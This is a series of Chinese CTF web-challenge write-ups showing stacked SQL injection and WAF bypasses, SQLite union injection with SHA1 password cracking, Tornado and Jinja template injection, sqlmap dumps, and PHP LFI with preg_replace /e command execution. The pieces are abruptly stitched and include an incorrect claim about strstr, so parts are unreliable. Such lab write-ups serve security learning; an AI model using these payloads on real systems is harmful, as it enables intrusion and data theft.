根据提示,知道这是一道注入的题
(1)首先判断是否存在注入点
在输入框里尝试:
1' and 1=1# //成功
1' and 1=2# //失败
(2)获取列数
1' order by 2# //正确
1' order by 3# //报错
所以推测有两列
(3)开始注入
开始想用union联合查询进行爆破
但是发现不行,会返回这样的错误信息:
分析:
preg_match 函数用于执行一个正则表达式匹配。
可以看到限制使用了select等方法
之后用堆叠方法进行注入。
1.知识点:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
参考链接:https://www.cnblogs.com/0nth3way/articles/7128189.html
2.本题内容
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "
";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "
";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
这里的重点是multi_query()函数:执行一条或多条sql语句,然后将结果全部输出。这就使堆叠注入有了前提。
3.开始堆叠注入:
(1)查看表
1';show tables;
(2)查看字段
1';show columns from `1919810931114514`#
1';show columns from `words`#
可以看到我们要想获得flag,需要访问“1919810931114514”表中flag字段的内容。
(3)查看具体内容
这里有两种方法进行解题:
思路一:
正常输入1时,推测显示的应该是words里的内容,所以,通过数据库注入修改191…这个表名字为words,得到显示。
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
之后在显示所有内容即可
1' or 1=1#
方法二:
通过对select进行预编译的方式绕过对select的检测:
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
构造:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
但是经过以前的学习知道,strstr这个函数对大小写并不敏感,所以把原来的命令换成大写就行:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
(1)先对这个网站进行扫描:
uniscan -u http://111.198.29.45:49281/ -e
(2)访问两个界面:
在login.php界面中输入东西网页会有反应
但用SQL注入好像不行…
查看网页源代码
发现有参数提示
在URL中进行构造:
http://111.198.29.45:49281/login.php?debug
看到网页弹出了后台的PHP语言:
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "
Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
开始用burp抓包尝试看有没有可以修改的地方
看到传进来两个参数:
解题过程中对于我的一个难点是这个数据库是sqlite数据库,表的结构和查询函数和MySQL有所不同。
SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中。它是D.RichardHipp建立的公有领域项目。它的设计目标是嵌入式的,而且已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。它能够支持Windows/Linux/Unix等等主流的操作系统,同时能够跟很多程序语言相结合,比如 Tcl、C#、PHP、Java等,还有ODBC接口,同样比起Mysql、PostgreSQL这两款开源的世界著名数据库管理系统来讲,它的处理速度比他们都快。
(3)进行数据库的查询
更改注入内容:
usr=' union select name,sql from sqlite_master--+&pw=123
为什么要查询sql呢,这涉及到sqlite自带的结构表sqlite_master,sql是sqlite_master中的一个字段,注入时经常用到的,注入后响应头的set-cookie
set-cookie字段中的内容为:
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
最后获得的内容为:
admin 3fab54a50e770d830c0416df817567662a9dc85c +my+fav+word+in+my+fav+paper?!
fritze 54eae8935c90f467427f05e4ece82cf569f89507 +my+love+is�
hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd +the+password+is+password
根据用户名为admin的内容+上面的密码构造的PHP代码来看:
密码构造为:作者最喜欢的一片文章中的一个单词+salt值,经过sha1后为3fab54a50e770d830c0416df817567662a9dc85c 。
(4)开始获取密码::
第一步,爬取这30篇文章
借鉴大佬代码
import urllib.request
import re
allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")
def my_reptile(url_root,html):
global pat_pdf
global pat_html
html=url_root+html
if(isnew(html)):
allHtml.append(html)
print("[*]starting to crawl site:{}".format(html))
with urllib.request.urlopen(html) as f:
response=f.read().decode('utf-8')
pdf_url=pat_pdf.findall(response)
for p in pdf_url:
p=p[6:len(p)-1]
download_pdf(html+p)
html_url=pat_html.findall(response)
for h in html_url:
h=h[6:len(h)-11]
my_reptile(html,h)
def download_pdf(pdf):
global count
fd=open(str(count)+'.pdf','wb')
count+=1
print("[+]downloading pdf from site:{}".format(pdf))
with urllib.request.urlopen(pdf) as f:
fd.write(f.read())
fd.close()
def isnew(html):
global allHtml
for h in allHtml:
if(html==h):
return False
return True
if __name__=="__main__":
my_reptile("http://111.198.29.45:34582/",'')
得到这些PDF
再次借鉴大佬代码,
将PDF转换为txt格式
转换代码:
from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os
def pdf2txt(pdfFile,txtFile):
print('[+]converting {} to {}'.format(pdfFile,txtFile))
fd_txt=open(txtFile,'w',encoding='utf-8')
fd_pdf=open(pdfFile,'rb')
parser=PDFParser(fd_pdf)
doc=PDFDocument()
parser.set_document(doc)
doc.set_parser(parser)
doc.initialize()
manager=PDFResourceManager()
laParams=LAParams()
device=PDFPageAggregator(manager,laparams=laParams)
interpreter=PDFPageInterpreter(manager,device)
for page in doc.get_pages():
interpreter.process_page(page)
layout=device.get_result()
for x in layout:
if(isinstance(x,LTTextBoxHorizontal)):
fd_txt.write(x.get_text())
fd_txt.write('\n')
fd_pdf.close()
fd_txt.close()
print('[-]finished')
def crazyWork():
print('[*]starting my crazy work')
files=[]
for f in os.listdir():
if(f.endswith('.pdf')):
files.append(f[0:len(f)-4])
for f in files:
pdf2txt(f+'.pdf',f+'.txt')
if __name__=='__main__':
crazyWork()
转换命令:
python3 getPass.py
(这里注意python2中是pdfminer ,python3中是pdfminer3k,所以如果原来电脑中没有这个模块时,用pip3安装时要注意安装的模块是pdf miner3k。)
得到:
用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码:
import os
import hashlib
def searchPassword():
print('[*]starting to search the word')
for file in os.listdir():
if(file.endswith('.txt')):
print('[+]searching {}'.format(file))
with open(file,'r',encoding='utf-8') as f:
for line in f:
words=line.split(' ')
for word in words:
if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'):
print('[@]haha,i find it:{}'.format(word))
exit()
if __name__=='__main__':
searchPassword()
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
先查看/flag.txt
打开发现有提示,且注意他的URL,很长,两个参数的构造(一个filename,一个file)
所以我们先把解题思路放到构建这个URL上
访问
111.198.29.45:49464/file?filename=/fllllllllllllag&filehash=d9f41ee65ac3fa6d3e03d067114fb462
(3)根据题目,看到这是一个框架的题目,分析应该是模板注入吧,根据提示,这是一个Tornado 框架,而且用render渲染
(我这里其实不知道,借鉴某位大佬的内容吧,我是一个勤劳的搬运工==:https://www.jianshu.com/p/55c75e0f7928)
讲解内容一:
该思想来源于题目的提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,简单的理解例子如下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape
class custom(UIModule):
def render(self, *args, **kwargs):
return escape.xhtml_escape('wupeiqi
')
#return escape.xhtml_escape('wupeiqi
')
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
class LoginHandler(BaseHandler):
def get(self):
'''
当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢?
在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler
继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做
'''
'''
我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie()
'''
# self.set_cookie()
# self.get_cookie()
self.render('login.html', **{'status': ''})
def login(request):
#获取用户输入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判断用户输入是否合法
if login_form.is_valid():#如果用户输入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg})
# 如果登录成功,写入session,跳转index
return render(request, 'account/login.html', {'model': login_form})
我们大概可以看出来,render是一个类似模板的东西,可以使用不同的参数来访问网页。
这个模版要学习的内容很多,我就摘抄些和我们这道题相关的内容
一):
一个普通的tornado web服务器通常由四大组件组成。
- ioloop实例,它是全局的tornado事件循环,是服务器的引擎核心,示例中tornado.ioloop.IOLoop.current()就是默认的tornado ioloop实例。
- app实例,它代表着一个完成的后端app,它会挂接一个服务端套接字端口对外提供服务。一个ioloop实例里面可以有多个app实例,示例中只有1个,实际上可以允许多个,不过一般几乎不会使用多个。
- handler类,它代表着业务逻辑,我们进行服务端开发时就是编写一堆一堆的handler用来服务客户端请求。路由表,它将指定的url规则和handler挂接起来,形成一个路由映射表。当请求到来时,根据请求的访问url查询路由映射表来找到相应的业务handler。
- 这四大组件的关系是,一个ioloop包含多个app(管理多个服务端口),一个app包含一个路由表,一个路由表包含多个handler。ioloop是服务的引擎核心,它是发动机,负责接收和响应客户端请求,负责驱动业务handler的运行,负责服务器内部定时任务的执行。
当一个请求到来时,ioloop读取这个请求解包成一个http请求对象,找到该套接字上对应app的路由表,通过请求对象的url查询路由表中挂接的handler,然后执行handler。handler方法执行后一般会返回一个对象,ioloop负责将对象包装成http响应对象序列化发送给客户端。
二):在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(handler.settings["cookie"]) }}
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
所以,我们尝试
http://111.198.29.45:49464/error?msg={{handler.settings}}
得到cookie_secret
'7b7b39eb-cd51-4ccb-af2d-040efcf04c5c'
开始进行构造
#!/usr/bin/env python
import hashlib
def md5(s):
md5 = hashlib.md5() #获取md5对象
md5.update(s) # 进行更新注意需要使用 字符串的二进制格式
return md5.hexdigest() # 获取加密后的内容
def filehash():
filename = '/fllllllllllllag'
cookie_secret ='7b7b39eb-cd51-4ccb-af2d-040efcf04c5c'
print(md5(cookie_secret+md5(filename))) #hints md5(cookie_secret+md5(filename))
if __name__ == '__main__':
filehash()
得到:e44a733fb9df7b78f3c065ff60640b1f
(5)构造
111.198.29.45:49464/file?filename=/fllllllllllllag&filehash=e44a733fb9df7b78f3c065ff60640b1f
得到:flag{3f39aea39db345769397ae895edb9c70}
(1)进去,发现URL处可以传参。尝试了很多方法发现还是没有啥思路,无奈只能去看大佬writeup了==(哭)。
借鉴:https://blog.csdn.net/baguangman5501/article/details/102031547
发现,关键一步是用FUZZ扫描(还没有学会怎么用FUZZ扫描)
然后尝试输入%bf(url=后面加上%df 宽子节(不在ascii编码范围都报错)),页面报错
所以访问
http://111.198.29.45:51826/index.php?url=@/opt/api/database.sqlite3
里面搜索CTF,有
(1)首先看到题目的提示,浏览各个网页,判断这应该是一道SQL注入的题。
我这里用的是Sqlmap进行的扫描
扫描到http://111.198.29.45:30119/findpwd.php这个网页时,
sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1"
发现注入点。
(2)之后开始得到数据库:
sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" --dbs
(3)得到数据表
sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" -D cetc004 --tables
(4)得到列
sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" -D cetc004 -T user --columns
(5)得到里面的内容
sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" -D cetc004 -T user -C"username,password" --dump
有:得到原来数据表中的内容(后面的123什么的都是在尝试时我自己加上的)
(6)然后试一下网上的md5解密这个password,发现解析不出来。
但是发现这个网站可以重复注册用户名
那么我们重新注册ct3lwDmIn23这个用户名
再次在登录界面使用:
得到flag:
cyberpeace{9b6cd95fd45a2b04f90dd48c6b1dc76e}
首先打开网站,看到网站的源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
里面有些关键词:jinja什么的,判断这应该是一道模版注入的题吧。
(1)通过分析上面的源码,可以看待这段代码有一下几个内容:
(2)进行分析,常规的jinja注入,参见三分题第一题。因为这里的()都已经被替换,所以那道题中的解题方面不适用了。
这里的方式是适用内置函数:get_flashed_messages(), url_for()
一般我们通过一个URL就可以执行到某一个函数。如果反过来,我们知道一个函数,怎么去获得这个URL呢?url_for函数就可以帮我们实现这个功能。url_for()函数接收两个及以上的参数,他接收函数名作为第一个参数,接收对应URL规则的命名参数,如果还出现其他的参数,则会添加到URL的后面作为查询参数。
参考:https://www.cnblogs.com/c-x-a/p/8821293.html
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
一.方法一:
首先查:
{{url_for.__globals__}}
注意到这个,我们就获取当前App下的config
/shrine/{{url_for.__globals__['current_app'].config}}
可以看到flag:
二.方法二:
构建payload:
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
有:
flag:flag{shrine_is_good_ssti}
之后尝试了几个方法都做不下去了…
之后借鉴大佬的做法:此处的漏洞应该是:本地文件包含漏洞(LFI)
具体参见:https://www.cnblogs.com/wh4am1/p/6542398.html
(2)所以
尝试读取index.php的源码,采用php伪协议
?page=php://filter/read=convert.base64-encode/resource=index.php
(为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
有用的代码如下:
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "
Welcome My Admin !
";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
分析这段代码,要想构建出答案需要构建满足两个条件的地方:
当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
所以构建:
/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123
(”+“号在url中会被解释成空格号,这里用%20也行)
得到flag的路径:./s3chahahaDir/flag
转到这个下面查看文件:
/index.php?pat=/123/e&rep=system(%22cd+./s3chahahaDir/flag%26%26ls%22)&sub=123
看到flag在flag.php下
最后构建
/index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
Burp抓包,填上X-Forwarded_For头部,有
所以有:$flag = 'cyberpeace{2e04368351a467694635c30566e7c0d4}';